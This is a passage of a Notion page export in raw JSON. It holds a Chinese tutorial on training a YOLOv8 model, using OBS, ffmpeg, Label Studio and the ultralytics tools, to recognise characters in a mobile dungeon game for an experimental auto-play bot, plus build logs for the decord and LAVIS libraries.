df20-473a-bdc9-f4fa55a7c248","4a46be0f-725d-41a6-bb87-2e7443de00a4","4053d23d-115c-4304-abd3-469ef9889883","0541e9c1-e348-4b0d-9f55-4dc270d6a022","3e9cffbd-9c00-429b-aefc-d46a01de7b59","f84b5b76-2238-4d4a-9224-9f8d06448915","5995a34f-7a0b-48eb-bcbf-3a78e098e3a4","547fffb8-bb9f-4a7d-bfb8-09e71b37d6d0","22dfd83f-62ae-43aa-b75a-60b3a2305d62","800837cf-2fa2-4300-ac6c-a4a49280dbf0","2036d2c5-812a-4c79-b418-12d3af02d6fd"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1721918065251,"last_edited_time":1721921983435,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"deb17e5d-177f-406e-9c05-ee3cbfab866f":{"value":{"id":"deb17e5d-177f-406e-9c05-ee3cbfab866f","type":"text","format":{"copied_from_pointer":{"id":"f9121aa2-51c9-487a-83de-4601d5048f24","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721918067260,"last_edited_time":1721918067260,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true,"copied_from":"f9121aa2-51c9-487a-83de-4601d5048f24"}},"52beefab-8f8b-4909-a7e7-2ba9dc18fff1":{"value":{"id":"52beefab-8f8b-4909-a7e7-2ba9dc18fff1","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721918067260,"last_edited_time":1721918067260,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"a9a04d0b-a46d-49cf-a81f-9574041134c3":{"value":{"id":"a9a04d0b-a46d-49cf-a81f-9574041134c3","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721918067257,"last_edited_time":1721918067257,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"f12f113a-82ad-4e0b-8da5-d2c512dd6b7c":{"value":{"id":"f12f113a-82ad-4e0b-8da5-d2c512dd6b7c","type":"callout","properties":{"title":[["最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721918067255,"last_edited_time":1721918344948,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"a8f09b66-56fe-4328-8ebd-a2e1a2903c36":{"value":{"id":"a8f09b66-56fe-4328-8ebd-a2e1a2903c36","type":"header","properties":{"title":[["iphone mirroring"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721918067257,"last_edited_time":1721918579096,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"5effa2a8-44a0-4a79-818d-d87fbab79fa2":{"value":{"id":"5effa2a8-44a0-4a79-818d-d87fbab79fa2","type":"bulleted_list","properties":{"title":[["iphone设备打开Beta更新,且更新到ios18.0最新版本"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721918067256,"last_edited_time":1721918427259,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"a14c1746-8406-4563-ae70-e8d61f648cd0":{"value":{"id":"a14c1746-8406-4563-ae70-e8d61f648cd0","type":"bulleted_list","properties":{"title":[["mac更新到版本15.0 Beta版(24A5279h)"]]},"created_time":1721918427495,"last_edited_time":1721918446112,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"2d45823a-f191-427b-bbee-9b4be8618580":{"value":{"id":"2d45823a-f191-427b-bbee-9b4be8618580","type":"bulleted_list","properties":{"title":[["保持ihone和mac在同一局域网下"]]},"created_time":1721918846924,"last_edited_time":1721918866512,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"ef14406b-a6c6-47c0-a42b-627456cfdb46":{"value":{"id":"ef14406b-a6c6-47c0-a42b-627456cfdb46","type":"header","properties":{"title":[["技术路径"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721918477980,"last_edited_time":1721918487368,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"f3a8a137-22a6-4a2e-b78c-2ccf1c211970":{"value":{"id":"f3a8a137-22a6-4a2e-b78c-2ccf1c211970","type":"bulleted_list","properties":{"title":[["基于python实现屏幕点击,屏幕录制"]]},"created_time":1721918487610,"last_edited_time":1721918515630,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"2c25c84a-1d8f-404e-8901-72397fd77161":{"value":{"id":"2c25c84a-1d8f-404e-8901-72397fd77161","type":"bulleted_list","properties":{"title":[["通过yolo模型识别怪物,人物等"]]},"created_time":1721918515827,"last_edited_time":1721918562430,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"899eb048-ed5c-4783-be79-9a0f8bc5d511":{"value":{"id":"899eb048-ed5c-4783-be79-9a0f8bc5d511","type":"bulleted_list","properties":{"title":[["通过计算人物到怪物的xy距离,移动到怪物身边平A"]]},"created_time":1721918555917,"last_edited_time":1721918628233,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"6d41668c-a33e-4fd0-b27f-21f5f97f10f6":{"value":{"id":"6d41668c-a33e-4fd0-b27f-21f5f97f10f6","type":"header","properties":{"title":[["准备训练模型数据"]]},"created_time":1721918640565,"last_edited_time":1721920649716,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"e0a436c8-7e1f-4138-9174-bf86f77c1b12":{"value":{"id":"e0a436c8-7e1f-4138-9174-bf86f77c1b12","type":"sub_header","properties":{"title":[["录制打怪视频"]]},"created_time":1721918652815,"last_edited_time":1721918661210,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"e1c1d5fb-3a7e-4ef6-b7ec-06243d706b06":{"value":{"id":"e1c1d5fb-3a7e-4ef6-b7ec-06243d706b06","type":"text","properties":{"title":[["使用OBS软件选择窗口录制,程序采集"]]},"created_time":1721918994831,"last_edited_time":1721919022167,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"0c04b50a-6bf8-4c50-a814-7a680ea9b228":{"value":{"id":"0c04b50a-6bf8-4c50-a814-7a680ea9b228","type":"image","properties":{"size":[["1220.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/5aa3c383-0d89-487a-b268-c4f26ee6328d/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/5aa3c383-0d89-487a-b268-c4f26ee6328d/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6640701071080818,"block_preserve_scale":true},"created_time":1721918992544,"last_edited_time":1721919002276,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true,"file_ids":["5aa3c383-0d89-487a-b268-c4f26ee6328d"]}},"1968ff47-43d3-4c0c-932c-dff749bca4c9":{"value":{"id":"1968ff47-43d3-4c0c-932c-dff749bca4c9","type":"text","properties":{"title":[["录制完成后需要更改下编码格式为mp4"]]},"created_time":1721918652923,"last_edited_time":1721919124909,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"4c3ec692-5c63-4534-b346-023bfe16797a":{"value":{"id":"4c3ec692-5c63-4534-b346-023bfe16797a","type":"code","properties":{"title":[["#把mkv转为mp4\nffmpeg -i xxxx.mkv -codec copy xxxx.mp4"]],"language":[["Bash"]]},"created_time":1721919095628,"last_edited_time":1721919138932,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"bbabb6d3-55ab-4140-9cba-938e096025e6":{"value":{"id":"bbabb6d3-55ab-4140-9cba-938e096025e6","type":"sub_header","properties":{"title":[["将打怪视频转为图片"]]},"created_time":1721918652691,"last_edited_time":1721919211675,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"27b4a3d9-a7f3-445b-84f4-5b25e5433f66":{"value":{"id":"27b4a3d9-a7f3-445b-84f4-5b25e5433f66","type":"code","properties":{"title":[["mkdir -p ./images\n#从视频中每隔2秒提取一帧并保存为图像文件\nffmpeg -i xxxx.mp4 -vf fps=1/2 ./images/%d.jpg"]],"language":[["Bash"]]},"created_time":1721919321734,"last_edited_time":1721919805004,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"409cb504-1b52-446f-a567-4ec15f126d2b":{"value":{"id":"409cb504-1b52-446f-a567-4ec15f126d2b","type":"sub_header","properties":{"title":[["开始打标签"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721919332875,"last_edited_time":1721919337231,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"bb56e69b-4580-468b-b3d7-9f4c6d3be321":{"value":{"id":"bb56e69b-4580-468b-b3d7-9f4c6d3be321","type":"code","properties":{"title":[["#安装label-studio\ndocker run -dit -p 18080:8080 heartexlabs/label-studio:latest\n#进入localhost:18080"]],"language":[["Bash"]]},"created_time":1721919341961,"last_edited_time":1721919949114,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"20b20e98-1df9-49ee-8b4b-d3eed7be4ba3":{"value":{"id":"20b20e98-1df9-49ee-8b4b-d3eed7be4ba3","type":"text","properties":{"title":[["创建项目"]]},"created_time":1721919337313,"last_edited_time":1721919960437,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"0a40457d-3e29-4ef9-b271-3249807e4036":{"value":{"id":"0a40457d-3e29-4ef9-b271-3249807e4036","type":"image","properties":{"size":[["1132.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a22328a9-66d6-4d2e-870c-fbf5ae4dc640/Untitled.png"]]},"format":{"block_width":1834,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a22328a9-66d6-4d2e-870c-fbf5ae4dc640/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4961832061068702,"block_preserve_scale":true},"created_time":1721919960941,"last_edited_time":1721919965785,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true,"file_ids":["a22328a9-66d6-4d2e-870c-fbf5ae4dc640"]}},"f83f3a13-d959-4f34-ae7b-9eaff43746b7":{"value":{"id":"f83f3a13-d959-4f34-ae7b-9eaff43746b7","type":"text","properties":{"title":[["选择自己需要打的标签如下 !这里最好使用英文标签"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721920056001,"last_edited_time":1721921127295,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"8c0e4c32-9a09-4e19-812b-3402ba18dbb4":{"value":{"id":"8c0e4c32-9a09-4e19-812b-3402ba18dbb4","type":"image","properties":{"size":[["1990.0KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/2ce8e05f-fe14-495f-af48-e99b79efdb1d/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/2ce8e05f-fe14-495f-af48-e99b79efdb1d/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4767358625626342,"block_preserve_scale":true},"created_time":1721920069327,"last_edited_time":1721920075129,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true,"file_ids":["2ce8e05f-fe14-495f-af48-e99b79efdb1d"]}},"4f429a93-5795-4e89-afb7-0784cd043a0f":{"value":{"id":"4f429a93-5795-4e89-afb7-0784cd043a0f","type":"text","properties":{"title":[["import本地文件开始打标,挨个打上就行"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721920056126,"last_edited_time":1721920305177,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"52b3bf75-8ea3-4835-831c-705e7a18c0aa":{"value":{"id":"52b3bf75-8ea3-4835-831c-705e7a18c0aa","type":"image","properties":{"size":[["1832.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/58eef8d1-5ab3-4d0f-ada8-3aaf50967ad1/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/58eef8d1-5ab3-4d0f-ada8-3aaf50967ad1/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5383141762452107,"block_preserve_scale":true},"created_time":1721920299022,"last_edited_time":1721920309732,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true,"file_ids":["58eef8d1-5ab3-4d0f-ada8-3aaf50967ad1"]}},"78826e7b-28eb-459f-940d-bd0946fb8185":{"value":{"id":"78826e7b-28eb-459f-940d-bd0946fb8185","type":"text","format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721918484739,"last_edited_time":1721918484742,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"625402af-7327-46fd-adc8-564b51ebc629":{"value":{"id":"625402af-7327-46fd-adc8-564b51ebc629","type":"text","properties":{"title":[["最后保存打标结果,导出yolo格式的训练数据"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721920308112,"last_edited_time":1721920349507,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"00455502-c33e-4f1f-8ec5-39b7a881f4e2":{"value":{"id":"00455502-c33e-4f1f-8ec5-39b7a881f4e2","type":"image","properties":{"size":[["152.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/528e69a6-1c50-4ce4-8d72-92bd14e6cdcb/Untitled.png"]]},"format":{"block_width":1269,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/528e69a6-1c50-4ce4-8d72-92bd14e6cdcb/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6910953506698188,"block_preserve_scale":true},"created_time":1721920349816,"last_edited_time":1721920354505,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true,"file_ids":["528e69a6-1c50-4ce4-8d72-92bd14e6cdcb"]}},"0597add4-71c9-44f0-a73b-25c55d8b3b76":{"value":{"id":"0597add4-71c9-44f0-a73b-25c55d8b3b76","type":"text","properties":{"title":[["得到一个zip包这就是我们需要训练的数据"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721920308219,"last_edited_time":1721920622334,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"a32bc115-ebde-402c-9638-3c71fc4ab315":{"value":{"id":"a32bc115-ebde-402c-9638-3c71fc4ab315","type":"text","created_time":1721920631469,"last_edited_time":1721920631470,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"e615771d-98da-43b9-a059-13c93c02fadb":{"value":{"id":"e615771d-98da-43b9-a059-13c93c02fadb","type":"header","properties":{"title":[["开始训练模型"]]},"created_time":1721920625317,"last_edited_time":1721920662149,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"e4a6b97c-c989-4a46-a74f-70f36f097d1f":{"value":{"id":"e4a6b97c-c989-4a46-a74f-70f36f097d1f","type":"code","properties":{"title":[["\n\n#安装python环境\npip install ultralytics\n\n#找一个猫咪的照片比如cat.jpg到当前目录\n\n#直接命令行运行\nyolo predict model=yolov8n.pt source='cat.jpg'\n\n#输出以下\n#会直接去github下载yolov8n.pt模型文件\nDownloading https://github.com/ultralytics/assets/releases/download/v8.2.0/yolov8n.pt to 'yolov8n.pt'...\n100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 6.25M/6.25M [00:01<00:00, 5.85MB/s]\nUltralytics YOLOv8.2.28 🚀 Python-3.9.6 torch-2.3.0 CPU (Apple M1 Pro)\nYOLOv8n summary (fused): 168 layers, 3151904 parameters, 0 gradients, 8.7 GFLOPs\nimage 1/1 /Users/y/PycharmProjects/pythonProject1/cat.jpg: 384x640 1 cat, 76.0ms\nSpeed: 4.7ms preprocess, 76.0ms inference, 6.3ms postprocess per image at shape (1, 3, 384, 640)\nResults saved to runs/detect/predict\n\n#结果为\n./runs/detect/predict/cat.jpg"]],"language":[["Bash"]]},"created_time":1721920664096,"last_edited_time":1721920979588,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"0f9dc85f-12c5-4b67-a984-d7cd57a35d1d":{"value":{"id":"0f9dc85f-12c5-4b67-a984-d7cd57a35d1d","type":"image","properties":{"size":[["1362.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/1bac28bc-4773-40fc-bbc1-cd5c85dfca89/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/1bac28bc-4773-40fc-bbc1-cd5c85dfca89/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.2747358309317964,"block_preserve_scale":true},"created_time":1721921004401,"last_edited_time":1721921009367,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true,"file_ids":["1bac28bc-4773-40fc-bbc1-cd5c85dfca89"]}},"54c09dc4-3519-4361-bea9-b5c187bad41e":{"value":{"id":"54c09dc4-3519-4361-bea9-b5c187bad41e","type":"text","format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1721921002801,"last_edited_time":1721921002801,"parent_id":"2187a0b2-05d0-4661-906d-3f47acc5b022","parent_table":"block","alive":true}},"14bc4479-0be3-4af9-acd8-9495f8d060c1":{"value":{"id":"14bc4479-0be3-4af9-acd8-9495f8d060c1","type":"code","properties":{"title":[["#解压刚才label-studio输出的zip\n\n#当前目录写一个game.yml如下\n\npath: /Users/y/Downloads/project-1-at-2024-06-04-14-44-0205e0ec \ntrain: images \nval: images \n\nnames:\n 0: me\n 1: enemy\n\n\n#开始训练,batch: 批大小 epoches: 训练轮次\nyolo detect train data=game.yml model=yolov8n.yaml batch=10 epochs=100\n\n#出现以下字样代表正在训练\nImage sizes 640 train, 640 val\nUsing 0 dataloader workers\nLogging results to runs/detect/train4\nStarting training for 100 epochs...\nEpoch GPU_mem box_loss cls_loss dfl_loss Instances Size\n0%| | 0/1 [00:02\n| ^~~~~~~~\n1 error generated.\nmake[2]: *** [CMakeFiles/decord.dir/src/audio/audio_interface.cc.o] Error 1\nmake[1]: *** [CMakeFiles/decord.dir/all] Error 2\nmake: *** [all] Error 2\n\n\n#decord/build/CMakeLists.txt\n#加一行下面这个\nset(CMAKE_CXX_COMPILER clang++)\n\n#成功\n build git:(master) ✗ make\n-- Could NOT find PkgConfig (missing: PKG_CONFIG_EXECUTABLE)\n-- Found libavdevice, device input will be enabled\n-- Found FFMPEG or Libav: /opt/homebrew/lib/libavformat.dylib;/opt/homebrew/lib/libavfilter.dylib;/opt/homebrew/lib/libavcodec.dylib;/opt/homebrew/lib/libavutil.dylib;/opt/homebrew/lib/libswresample.dylib;/opt/homebrew/lib/libavdevice.dylib, /opt/homebrew/include\nFFMPEG_INCLUDE_DIR = /opt/homebrew/include\nFFMPEG_LIBRARIES = /opt/homebrew/lib/libavformat.dylib;/opt/homebrew/lib/libavfilter.dylib;/opt/homebrew/lib/libavcodec.dylib;/opt/homebrew/lib/libavutil.dylib;/opt/homebrew/lib/libswresample.dylib;/opt/homebrew/lib/libavdevice.dylib\n-- CUDA disabled, no nvdec capabilities will be enabled...\n-- Configuring done (0.1s)\n-- Generating done (0.0s)\n-- Build files have been written to: /Users/y/Desktop/decord/decord/build\n[ 3%] Building CXX object CMakeFiles/decord.dir/src/audio/audio_interface.cc.o\n[ 7%] Building CXX object CMakeFiles/decord.dir/src/audio/audio_reader.cc.o\n[ 11%] Building CXX object CMakeFiles/decord.dir/src/runtime/c_runtime_api.cc.o\n[ 14%] Building CXX object CMakeFiles/decord.dir/src/runtime/cpu_device_api.cc.o\n[ 18%] Building CXX object CMakeFiles/decord.dir/src/runtime/dso_module.cc.o\n[ 22%] Building CXX object CMakeFiles/decord.dir/src/runtime/file_util.cc.o\n[ 25%] Building CXX object CMakeFiles/decord.dir/src/runtime/module.cc.o\n[ 29%] Building CXX object CMakeFiles/decord.dir/src/runtime/module_util.cc.o\n[ 33%] Building CXX object CMakeFiles/decord.dir/src/runtime/ndarray.cc.o\n[ 37%] Building CXX object CMakeFiles/decord.dir/src/runtime/registry.cc.o\n[ 40%] Building CXX object CMakeFiles/decord.dir/src/runtime/str_util.cc.o\n[ 44%] Building CXX object CMakeFiles/decord.dir/src/runtime/system_lib_module.cc.o\n[ 48%] Building CXX object CMakeFiles/decord.dir/src/runtime/thread_pool.cc.o\n[ 51%] Building CXX object CMakeFiles/decord.dir/src/runtime/threading_backend.cc.o\n[ 55%] Building CXX object CMakeFiles/decord.dir/src/runtime/workspace_pool.cc.o\n[ 59%] Building CXX object CMakeFiles/decord.dir/src/sampler/random_file_order_sampler.cc.o\n[ 62%] Building CXX object CMakeFiles/decord.dir/src/sampler/random_sampler.cc.o\n[ 66%] Building CXX object CMakeFiles/decord.dir/src/sampler/sequential_sampler.cc.o\n[ 70%] Building CXX object CMakeFiles/decord.dir/src/sampler/smart_random_sampler.cc.o\n[ 74%] Building CXX object CMakeFiles/decord.dir/src/video/logging.cc.o\n[ 77%] Building CXX object CMakeFiles/decord.dir/src/video/storage_pool.cc.o\n[ 81%] Building CXX object CMakeFiles/decord.dir/src/video/video_interface.cc.o\n[ 85%] Building CXX object CMakeFiles/decord.dir/src/video/video_loader.cc.o\n[ 88%] Building CXX object CMakeFiles/decord.dir/src/video/video_reader.cc.o\n[ 92%] Building CXX object CMakeFiles/decord.dir/src/video/ffmpeg/filter_graph.cc.o\n[ 96%] Building CXX object CMakeFiles/decord.dir/src/video/ffmpeg/threaded_decoder.cc.o\n[100%] Linking CXX shared library libdecord.dylib\n[100%] Built target decord"]],"language":[["Bash"]]},"created_time":1722925402177,"last_edited_time":1722925922209,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true}},"0d48bace-02a9-4cb0-a049-41762350571e":{"value":{"id":"0d48bace-02a9-4cb0-a049-41762350571e","type":"code","properties":{"title":[["#安装到自己python库\n\n#回到docord下的python目录\ncd ../python\n# option 1: add python path to $PYTHONPATH, you will need to install numpy separately\npwd=$PWD\necho \"PYTHONPATH=$PYTHONPATH:$pwd\" >> ~/.bash_profile\nsource ~/.bash_profile\n# option 2: install with setuptools\npython3 setup.py install --user"]],"language":[["Bash"]]},"created_time":1722926003157,"last_edited_time":1722926027352,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true}},"35fb9514-472c-48d7-a9df-ac0540b5022e":{"value":{"id":"35fb9514-472c-48d7-a9df-ac0540b5022e","type":"code","properties":{"title":[["#再次安装lavis,安装成功!\npip install salesforce-lavis"]],"language":[["Bash"]]},"created_time":1722926126387,"last_edited_time":1722926735094,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true}},"37856958-780d-4d21-afcb-ea9b805afcd2":{"value":{"id":"37856958-780d-4d21-afcb-ea9b805afcd2","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1722926725483,"last_edited_time":1722926725485,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true}},"6e66a530-1d8d-4365-ae47-2034a991bf82":{"value":{"id":"6e66a530-1d8d-4365-ae47-2034a991bf82","type":"header","properties":{"title":[["测试代码"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1722926725610,"last_edited_time":1722926738177,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true}},"01604af8-e2f3-456a-bfa